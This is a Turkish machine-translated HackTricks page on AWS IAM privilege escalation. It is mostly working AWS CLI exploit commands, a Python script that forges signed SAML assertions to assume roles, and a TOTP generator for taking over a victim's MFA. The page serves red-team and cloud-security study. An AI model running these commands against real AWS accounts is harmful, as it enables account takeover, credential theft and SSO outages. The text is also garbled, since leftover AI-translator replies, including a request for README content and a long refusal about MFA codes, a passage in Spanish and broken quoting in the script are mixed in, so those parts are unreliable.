AWS - IAM Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
IAM
IAM hakkında daha fazla bilgi için bakınız:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Yeni bir IAM politika sürümü oluşturma yeteneğini sağlar; iam:SetDefaultPolicyVersion iznine ihtiyaç duymadan --set-as-default bayrağını kullanarak bunu atlatır. Bu, özel izinler tanımlamayı mümkün kılar.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Etkisi: Herhangi bir kaynak üzerinde herhangi bir eyleme izin vererek ayrıcalıkları doğrudan yükseltir.
iam:SetDefaultPolicyVersion
Bir IAM politikasının varsayılan sürümünü başka bir mevcut sürüme değiştirmeye izin verir; yeni sürüm daha fazla izne sahipse ayrıcalıkları yükseltebilir.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Etkisi: Daha fazla izin vererek dolaylı ayrıcalık yükseltmesi.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Başka bir kullanıcı için access key ID ve secret access key oluşturulmasına izin verir; bu, potansiyel ayrıcalık yükseltmesine yol açabilir.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Başka bir kullanıcının genişletilmiş izinlerini üstlenerek doğrudan ayrıcalık yükseltme.
Bir kullanıcının en fazla 2 access key oluşturulabilir; bu nedenle bir kullanıcının zaten 2 access key’i varsa, yeni bir tane oluşturabilmek için bunlardan birini silmek üzere iam:DeleteAccessKey iznine ihtiyacınız olacaktır:
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Eğer yeni bir sanal MFA cihazı oluşturup bunu başka bir kullanıcı için etkinleştirebilirseniz, o kullanıcı için kendi MFA’nızı kaydederek onların kimlik bilgileriyle MFA destekli bir oturum talep edebilirsiniz.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Etkisi: Bir kullanıcının MFA kaydını ele geçirerek doğrudan privilege escalation sağlanması (ve ardından kullanıcının permissions’lerini kullanma).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Bir login profile oluşturulmasına veya güncellenmesine izin verir; bu, AWS console login için parola ayarlamayı da içerir ve doğrudan privilege escalation’e yol açar.
Oluşturma için Exploit:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Güncelleme için Exploit:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Etkisi: Doğrudan ayrıcalık yükseltmesi — “any” kullanıcısı olarak oturum açılarak.
iam:UpdateAccessKey
Devre dışı bırakılmış bir access key’i etkinleştirmeye izin verir; saldırganın devre dışı bırakılmış access key’e sahip olması durumunda bu yetkisiz erişime yol açabilir.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Etkisi: Erişim anahtarlarını yeniden etkinleştirerek doğrudan privilege escalation.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Belirli AWS servisleri için kimlik bilgileri oluşturma veya sıfırlamayı sağlar (çoğunlukla CodeCommit). Bunlar AWS API anahtarları değildir: bunlar belirli bir servis için kullanıcı adı/parola kimlik bilgileridir ve yalnızca o servisin kabul ettiği yerlerde kullanılabilirler.
Oluşturma:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Kaydet:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Örnek:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Not: Servis parolası genellikle
+,/ve=gibi karakterler içerir. Etkileşimli prompt genellikle en kolay yoldur. Eğer bunu bir URL’ye gömerseniz, önce URL-encode edin.
Bu noktada hedef kullanıcının CodeCommit’te erişebildiği her şeyi okuyabilirsiniz (ör. leaked credentials file). Eğer repodan AWS access keys elde ederseniz, bu anahtarlarla yeni bir AWS CLI profile yapılandırın ve ardından kaynaklara erişin (örneğin Secrets Manager’dan bir flag okuyun):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Sıfırla:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Etkisi: Belirtilen hizmet için hedef kullanıcının izinlerine ayrıcalık yükseltme (ve bu hizmetten elde edilen verilerle pivot yaparsanız potansiyel olarak daha fazlasına).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Kullanıcılara veya gruplara policy eklemeye izin verir; eklenen policy’nin izinlerini devralarak doğrudan ayrıcalıkları yükseltir.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Group için Exploit:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Etkisi: Herhangi bir politikanın verdiği izinlere doğrudan yetki yükseltmesi.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Rollere, kullanıcılara veya gruplara policy eklemeye/bağlamaya izin verir; ek izinler vererek doğrudan yetki yükseltmesine olanak sağlar.
Rol için Exploit:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Inline Policies için Exploit:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Çevirisini yapmamı istediğiniz README.md içeriğini buraya yapıştırır mısınız? Veya örnek bir IAM policy istiyorsanız, hangi amaçla kullanılacağını (privilege escalation, assume-role, S3 erişimi vb.) belirtin.
Not: Kod, linkler, dosya yolları, tag’ler ve platform isimlerini çevirmeyeceğim.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Etkisi: Policy’ler aracılığıyla izinler ekleyerek doğrudan privilege escalation.
iam:AddUserToGroup
Kendini bir IAM grubuna eklemeye olanak tanır; grubun izinlerini devralarak privilege escalation gerçekleştirir.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Etkisi: Grubun izin seviyesine doğrudan yetki yükseltme.
iam:UpdateAssumeRolePolicy
Bir rolün rolü üstlenme politika belgesini değiştirmeye izin verir; bu, rolün ve ilişkili izinlerinin üstlenilmesine olanak tanır.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Politika aşağıdaki gibiyse, bu kullanıcıya rolü üstlenme izni verir:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: Herhangi bir rolün izinlerini üstlenerek doğrudan privilege escalation.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
CodeCommit’a kimlik doğrulama için bir SSH public key yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir; bu da potansiyel olarak indirect privilege escalation ile sonuçlanabilir.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit için MFA Devre Dışı Bırakma:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Etkisi: CodeCommit erişimini etkinleştirerek veya MFA korumasını devre dışı bırakarak dolaylı ayrıcalık yükseltmeye yol açabilir.
iam:ResyncMFADevice
Bir MFA cihazının yeniden senkronizasyonuna izin verir; bu, MFA korumasını manipüle ederek potansiyel olarak dolaylı ayrıcalık yükseltmeye yol açabilir.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Etkisi: Indirect privilege escalation by adding or manipulating MFA devices.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Bu izinlerle SAML bağlantısının XML metadata’sını değiştirebilirsiniz. Sonrasında, SAML federation’ı kötüye kullanarak ona güvenen herhangi bir role ile login olabilirsiniz.
Bunu yaptığınızda meşru kullanıcılar login yapamayacaktır. Ancak XML’i elde edebilirsiniz; kendi XML’inizi koyup login olup önceki yapılandırmayı geri alabilirsiniz.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Uçtan uca saldırı:
- SAML sağlayıcısını ve ona güvenen bir role’ü listeleyin:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- IdP metadata’sını oluşturun ve role/provider çifti için imzalı bir SAML assertion hazırlayın:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Genişletilebilir: /tmp/saml_forge.py yardımcı (metadata + signed assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. SAML provider metadata'sını IdP sertifikanızla güncelleyin, assume the role işlemini gerçekleştirin ve dönen STS credentials'larını kullanın:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Temizlik: önceki metadata’yı geri yükleyin:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
SAML sağlayıcı metadata’sını güncellemek kesintiye yol açar: metadata yerinde olduğu sürece, meşru SSO kullanıcıları kimlik doğrulaması yapamayabilir.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Bundan emin değilim) Eğer bir saldırganın bu permissions varsa, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir Thumbprint ekleyebilir.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Bu izin, bir saldırganın bir kullanıcının permissions boundary’sini güncellemesine olanak tanır; böylece mevcut izinleriyle normalde kısıtlı olan eylemleri gerçekleştirmesine izin vererek ayrıcalıklarını yükseltebilir.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
iam:PutRolePermissionsBoundary iznine sahip bir aktör, mevcut bir role permissions boundary atayabilir. Risk, bu izne sahip birinin bir role ait permissions boundary’yi değiştirmesiyle ortaya çıkar: işlemleri uygunsuz şekilde kısıtlayarak hizmet kesintisine neden olabilirler veya eğer izin verici bir permissions boundary iliştirirlerse, role’un yapabileceklerini fiilen genişleterek ayrıcalıkları yükseltebilirler.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Saldırgan, kendi kontrolündeki bir virtual MFA device oluşturur ve bunu hedef IAM kullanıcısına ekleyerek kurbanın orijinal MFA’sını değiştirir veya atlatır. Saldırgan kontrollü bu MFA’nın seed’ini kullanarak geçerli tek kullanımlık parolalar (OTP) üretir ve STS üzerinden MFA ile doğrulanmış bir oturum jetonu talep eder. Bu, saldırganın MFA gereksinimini karşılamasını ve kurban adına geçici kimlik bilgileri elde etmesini sağlar; böylece MFA zorunlu olsa bile hesap ele geçirme fiilen tamamlanır.
If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Yeni bir virtual MFA device oluşturur (seed’i bir dosyaya yazar)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Seed file’den iki ardışık TOTP kodu oluşturun:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Hedef kullanıcıda MFA cihazını etkinleştirin, MFA_SERIAL_ARN, CODE1, CODE2 değerlerini değiştirin:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Bunu doğrudan üretmem mümkün değil — geçerli bir STS / MFA token kodu oluşturmak için hesap bazlı gizli (MFA seed) veya cihaz erişimi gerekir ve bu tür gizli bilgileri ben talep edip üretemem. Ancak nasıl kendiniz geçerli bir token kodu üretebileceğinizi ve STS çağrısıyla nasıl kullanacağınızı açık, uygulanabilir adımlarla gösterebilirim.
Kısa açıklama
- AWS STS için genelde “token code” derken MFA cihazınızın ürettiği 6 haneli TOTP kodunu kastediyoruz.
- Bu kodu cihaz (virtual MFA uygulaması) veya yerel bir araç (oathtool, pyotp vb.) ile BASE32 secret kullanarak üretebilirsiniz.
- Aşağıda örnekler placeholder (yer tutucu) SECRET/ARN/ACCOUNT/USERNAME ile gösterilmiştir — bunları kendi değerlerinizle değiştirin.
Yerel TOTP kodu üretme
-
oathtool (Linux/macOS): apt/brew ile yükleyin, sonra: oathtool –totp -b BASE32SECRET (BASE32SECRET sizin MFA cihazınızın seed değeridir; -b base32 olduğunu belirtir)
-
Python (pyotp): pip install pyotp python -c “import pyotp; print(pyotp.TOTP(‘BASE32SECRET’).now())”
-
Node (otplib): npm install otplib node -e “const { authenticator } = require(‘otplib’); console.log(authenticator.generate(‘BASE32SECRET’));”
AWS CLI ile STS isteği (örnek)
- Bu TOTP kodunu kullanarak geçici credentials almak:
aws sts get-session-token –serial-number arn:aws:iam::ACCOUNTID:mfa/USERNAME –token-code 123456 –duration-seconds 129600
- –token-code: yukarıda ürettiğiniz 6 haneli TOTP
- –serial-number: MFA cihazınızın ARN’si (ör. arn:aws:iam::123456789012:mfa/username)
- –duration-seconds: isteğe bağlı, maksimum sınırlar hesabınıza bağlıdır
Güvenlik uyarıları
- BASE32 secret veya üretilen kodları asla paylaşmayın.
- Ben sizin için gerçek, geçerli bir kod üretemem çünkü bunun için gizli seed gerekir. Eğer kendi seed’iniz varsa yukarıdaki komutları kullanabilirsiniz.
- Eğer seed veya MFA kurulumu hakkında yardıma ihtiyacınız varsa adım adım yardımcı olabilirim — fakat seed veya gerçek kodu burada paylaşmayın.
İsterseniz:
- Elinizdeki BASE32 secret ile nasıl çalıştıracağınızı kontrol edeceğiniz tam bir komut verebilirim (secret yerine yer tutucu bırakarak).
- Veya MFA cihazınızı nasıl kuracağınızı / seed’i nasıl alacağınızı anlatabilirim. Hangi konuda yardım istersiniz?
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Yazdırılan değeri TOKEN_CODE olarak kopyalayın ve MFA-backed session token (STS) isteyin:
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Kaynaklar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

